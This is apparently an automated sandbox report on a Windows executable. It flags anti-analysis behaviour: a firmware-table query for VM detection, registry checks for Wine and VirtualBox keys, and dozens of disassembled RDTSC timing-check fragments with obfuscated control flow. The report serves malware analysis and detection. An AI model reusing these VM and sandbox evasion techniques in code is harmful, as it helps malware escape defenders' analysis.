Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CED370 second address: CED376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CED376 second address: CED37A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CED37A second address: CED388 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CED388 second address: CED38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CED38D second address: CECB94 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB55958F8BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b xor dword ptr [ebp+122D33E5h], ecx 0x00000011 push dword ptr [ebp+122D0E51h] 0x00000017 jmp 00007FB55958F8BBh 0x0000001c call dword ptr [ebp+122D3886h] 0x00000022 pushad 0x00000023 cld 0x00000024 xor eax, eax 0x00000026 stc 0x00000027 mov edx, dword ptr [esp+28h] 0x0000002b cld 0x0000002c mov dword ptr [ebp+122D2A41h], eax 0x00000032 cmc 0x00000033 add dword ptr [ebp+122D1AA9h], edi 0x00000039 mov esi, 0000003Ch 0x0000003e clc 0x0000003f add esi, dword ptr [esp+24h] 0x00000043 mov dword ptr [ebp+122D37B5h], esi 0x00000049 lodsw 0x0000004b or dword ptr [ebp+122D37B5h], eax 0x00000051 or dword ptr [ebp+122D37B5h], eax 0x00000057 add eax, dword ptr [esp+24h] 0x0000005b mov dword ptr [ebp+122D1810h], esi 0x00000061 mov ebx, dword ptr [esp+24h] 0x00000065 jmp 00007FB55958F8BDh 0x0000006a push eax 0x0000006b jl 00007FB55958F8C4h 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6253A second address: E6253E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6253E second address: E62542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62542 second address: E62548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62548 second address: E6254E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69FD7 second address: E6A008 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB55884680Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A008 second address: E6A00C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A611 second address: E6A619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CFBC second address: E6CFC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CFC2 second address: CECB94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 527FD3FBh 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FB5588467E8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 push dword ptr [ebp+122D0E51h] 0x0000002f or esi, 07BE2C00h 0x00000035 call dword ptr [ebp+122D3886h] 0x0000003b pushad 0x0000003c cld 0x0000003d xor eax, eax 0x0000003f stc 0x00000040 mov edx, dword ptr [esp+28h] 0x00000044 cld 0x00000045 mov dword ptr [ebp+122D2A41h], eax 0x0000004b cmc 0x0000004c add dword ptr [ebp+122D1AA9h], edi 0x00000052 mov esi, 0000003Ch 0x00000057 clc 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c mov dword ptr [ebp+122D37B5h], esi 0x00000062 lodsw 0x00000064 or dword ptr [ebp+122D37B5h], eax 0x0000006a or dword ptr [ebp+122D37B5h], eax 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 mov dword ptr [ebp+122D1810h], esi 0x0000007a mov ebx, dword ptr [esp+24h] 0x0000007e jmp 00007FB5588467EDh 0x00000083 push eax 0x00000084 jl 00007FB5588467F4h 0x0000008a push eax 0x0000008b push edx 0x0000008c pushad 0x0000008d popad 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D035 second address: E6D040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB55958F8B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D040 second address: E6D12B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB5588467ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c jmp 00007FB5588467F4h 0x00000011 pop edi 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FB5588467E8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d push 00000000h 0x0000002f call 00007FB5588467F9h 0x00000034 mov dword ptr [ebp+122D324Ch], edx 0x0000003a pop edi 0x0000003b push 47E70F58h 0x00000040 jmp 00007FB5588467F9h 0x00000045 xor dword ptr [esp], 47E70FD8h 0x0000004c jmp 00007FB5588467F1h 0x00000051 push 00000003h 0x00000053 movzx ecx, bx 0x00000056 push 00000000h 0x00000058 mov edx, dword ptr [ebp+122D29BDh] 0x0000005e push 00000003h 0x00000060 mov dword ptr [ebp+122D1810h], ecx 0x00000066 sub dword ptr [ebp+122D1F49h], edx 0x0000006c call 00007FB5588467E9h 0x00000071 pushad 0x00000072 jmp 00007FB5588467EBh 0x00000077 push eax 0x00000078 push edx 0x00000079 jmp 00007FB5588467F7h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D12B second address: E6D140 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB55958F8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FB55958F8B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D140 second address: E6D144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D144 second address: E6D185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jl 00007FB55958F8C8h 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007FB55958F8C3h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D185 second address: E6D189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D1E3 second address: E6D1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D1E7 second address: E6D20C instructions: 0x00000000 rdtsc 0x00000002 js 00007FB5588467E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB5588467F7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D20C second address: E6D216 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FB55958F8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D216 second address: E6D23B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov esi, eax 0x0000000b push 00000000h 0x0000000d mov edx, dword ptr [ebp+122D2AC9h] 0x00000013 call 00007FB5588467E9h 0x00000018 push eax 0x00000019 jng 00007FB5588467ECh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D23B second address: E6D2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pushad 0x00000007 jng 00007FB55958F8CEh 0x0000000d jmp 00007FB55958F8C8h 0x00000012 jmp 00007FB55958F8C5h 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jmp 00007FB55958F8C6h 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 push esi 0x00000026 jmp 00007FB55958F8BDh 0x0000002b pop esi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D2A3 second address: E6D344 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FB5588467ECh 0x00000016 popad 0x00000017 jmp 00007FB5588467F5h 0x0000001c popad 0x0000001d pop eax 0x0000001e mov edx, esi 0x00000020 push 00000003h 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007FB5588467E8h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 0000001Bh 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c mov edi, esi 0x0000003e or dword ptr [ebp+122D17B1h], edx 0x00000044 mov dword ptr [ebp+122D188Bh], esi 0x0000004a push 00000000h 0x0000004c mov si, DD75h 0x00000050 push 00000003h 0x00000052 push esi 0x00000053 mov edi, 308E1322h 0x00000058 pop edx 0x00000059 push 5F4D2399h 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FB5588467EDh 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D41C second address: E6D420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D420 second address: E6D4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 649B3FBFh 0x0000000e jc 00007FB5588467E7h 0x00000014 clc 0x00000015 push 00000003h 0x00000017 mov dword ptr [ebp+122D17B1h], edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007FB5588467E8h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 jmp 00007FB5588467EDh 0x0000003e xor esi, dword ptr [ebp+122D2A6Dh] 0x00000044 push 00000003h 0x00000046 call 00007FB5588467F6h 0x0000004b mov dword ptr [ebp+122D17B6h], esi 0x00000051 pop edx 0x00000052 call 00007FB5588467E9h 0x00000057 push esi 0x00000058 push eax 0x00000059 push edx 0x0000005a je 00007FB5588467E6h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D4A3 second address: E6D4A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D4A7 second address: E6D4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jmp 00007FB5588467EFh 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D4C2 second address: E6D4CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB55958F8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D4CC second address: E6D4D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D4D0 second address: E6D4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c ja 00007FB55958F8C0h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jbe 00007FB55958F8C0h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BE48 second address: E8BE4D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BF81 second address: E8BF8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FB55958F8B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8C3CE second address: E8C401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB5588467F6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB5588467ECh 0x00000015 je 00007FB5588467E6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8C6FF second address: E8C713 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FB55958F8B6h 0x0000000e jg 00007FB55958F8B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8CDCB second address: E8CDD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81A7A second address: E81A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D6AA second address: E8D6AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D6AE second address: E8D6E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB55958F8C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FB55958F8B6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D9BC second address: E8D9C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E940BB second address: E940C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9513D second address: E95143 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E998C0 second address: E998C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E998C4 second address: E998C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98F51 second address: E98F8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BCh 0x00000007 push edx 0x00000008 jne 00007FB55958F8B6h 0x0000000e jmp 00007FB55958F8C7h 0x00000013 pop edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98F8A second address: E98F90 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98F90 second address: E98FB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB55958F8B6h 0x0000000a jmp 00007FB55958F8C7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98FB1 second address: E98FBB instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB5588467E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99734 second address: E99748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB55958F8C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99748 second address: E9974E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A744 second address: E9A752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB55958F8B6h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A842 second address: E9A85A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FB5588467ECh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AC0B second address: E9AC15 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB55958F8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AC15 second address: E9AC1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AC1B second address: E9AC2F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB55958F8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AC2F second address: E9AC34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AD64 second address: E9AD68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AD68 second address: E9AD80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FB5588467E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AEF7 second address: E9AF0A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB55958F8B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B449 second address: E9B44D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B44D second address: E9B470 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB55958F8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB55958F8C1h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B470 second address: E9B4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FB5588467F8h 0x0000000b popad 0x0000000c xchg eax, ebx 0x0000000d sub dword ptr [ebp+122D33E5h], edi 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB5588467F5h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B4AD second address: E9B4CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FB55958F8B6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jne 00007FB55958F8B6h 0x00000018 jne 00007FB55958F8B6h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B7CD second address: E9B7D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B7D1 second address: E9B7D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E424 second address: E9E429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E429 second address: E9E42F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E42F second address: E9E446 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB5588467E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007FB5588467E8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E446 second address: E9E450 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB55958F8BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E450 second address: E9E4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007FB5588467E8h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 cmc 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+122D36F1h], edx 0x0000002a push 00000000h 0x0000002c mov esi, edi 0x0000002e xchg eax, ebx 0x0000002f jg 00007FB5588467F6h 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jl 00007FB5588467ECh 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E4AA second address: E9E4AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9EF9D second address: E9EFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9ED00 second address: E9ED05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0097 second address: EA00B4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB5588467E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB5588467ECh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0DC7 second address: EA0DE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB55958F8C6h 0x00000009 rdtsc
